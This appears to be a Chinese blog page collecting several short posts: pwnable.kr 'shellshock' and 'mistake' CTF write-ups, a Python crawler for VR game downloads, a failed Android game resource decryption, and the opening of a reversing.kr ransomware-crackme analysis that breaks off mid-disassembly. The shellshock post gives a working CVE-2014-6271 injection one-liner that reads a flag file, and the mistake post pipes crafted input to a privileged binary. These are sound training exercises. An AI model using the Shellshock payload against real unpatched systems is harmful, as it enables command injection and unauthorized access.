Pwnable.kr shellshock

这道题比较简单,对”破壳”漏洞了解的同学都能做出来。

#include <stdio.h>                                                
int main(){                                                       
        setresuid(getegid(), getegid(), getegid());               
        setresgid(getegid(), getegid(), getegid());               
        system("/home/shellshock/bash -c 'echo shock_me'");       
        return 0;                                                 
}                                                                 

源码中调用了题目提供的有漏洞的bash,我们可以构造如下命令来打印出flag:

    env x='() { :;}; /bin/cat flag' ./shellshock

上面这条命令相当于直接使用shellshcok调用的bash直接执行了/bin/cat flag,

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock    
only if I knew CVE-2014-6271 ten years ago..!!                       
Segmentation fault                                                   

先了解这个漏洞的同学可以看看这两篇文章

bash代码注入的安全漏洞
Shellshock漏洞回顾与分析测试

python爬虫实战:Oculus VR

帮朋友写的一个爬虫,爬一个网站的所有VR游戏。在这之前我都还不知道还有这个VR(虚拟现实)游戏。我也是通过写这个爬虫才学会pycurl+BeautifulSoup 的用法。

安装模块

我使用的是第三方模块pycurl+BeautifulSoup。需要另外安装这两个模块,不然脚本无法运行,会报错。

BeautifulSoup:中文文档
pycurl:下载地址选择对应的版本下载安装。

开始编写爬虫

开始之前我们先分析下我们需要爬的内容。我们要的是每个游戏的真实下载地址。

既然是下载所有的游戏,我们就得知道每一页的网址,在这里 http://d.87870.com/xiazai-2-0603-1_.html
xiazai-2 这里的2是页数,知道了总页数我们就可以爬出所有页的每个游戏点击立即下载后跳转到的游戏下载页面。

如上图,点击游戏下载就可以下载游戏。但是没有登录的话是不让你下载的,这就要我们写脚本时要用到cookie。

大概思路就是这样了。开始写代码。

pwnable.kr mistake

分析源码,发现下面这段代码有点可疑。

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

熟悉Linux的童鞋都知道文件描述符是不可能小于0的。计算得fd等于0,因为”<”比”=”优先级高,先计算等式右边,打开的文件描述符不可能小于0,因此右边等式等于0,最后fd=0;
文件描述符为0是标准输入,也就是说这个程序实际上并没有读取password文件,而是从标准输入中读取数据。

继续往下看,有个比较,两个buff相等则输出flag。

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){     
      printf("Password OK\n");           
      system("/bin/cat flag\n");         
}                                          

这样,我们只要构造一个满足条件的buffer通过管道传给mistake。buffer满足下面这个条件就能成功拿到key。

pw_buf = pw_buf2^0x1111111111

执行如下命令。

(python -c "print '\x12'*10 + '\x13'*10 ") | ./mistake

安卓游戏资源解密

安卓游戏资源解密

一个同学在群里发了个游戏,要解密游戏的资源。反编译看了下源码,没看出什么,用Android Killer看了下资源,发现在res/raw目录下有个文件比较大,t0.zip解压后有t0.pak;文件有点大,3M多,并且是以PAK格式的文 件,通过搜索得知这个格式为PAK格式——是一种文件打包的格式。

在网上搜了下 打开PAK文件的软件,发现都不能打开。 搞不定就不搞了。

这几天看了 <<揭秘数据解密的关键技术>>,下面图片框框内的像文件名,我们可以知道这个文件是一种文件打包的格式。具体是什么结构不知道。

reversing.kr Ransomware

首先看程序,发现被加了upx壳,使用脱壳工具脱掉后,看有没有关键的字符串。

来到引用Key的地方。

.text:0044A775                 push    offset aKey     ; "Key : "
.text:0044A77A                 call    ds:printf
.text:0044A780                 add     esp, 4
.text:0044A783                 call    sub_401000
.text:0044A788                 push    offset input_key
.text:0044A78D                 push    offset aS       ; "%s"
.text:0044A792                 call    ds:scanf
.text:0044A798                 add     esp, 8
.text:0044A79B                 mov     dword ptr [ebp-18h], offset input_key
.text:0044A7A2                 mov     eax, [ebp-18h]
.text:0044A7A5                 add     eax, 1
.text:0044A7A8                 mov     [ebp-1Ch], eax
,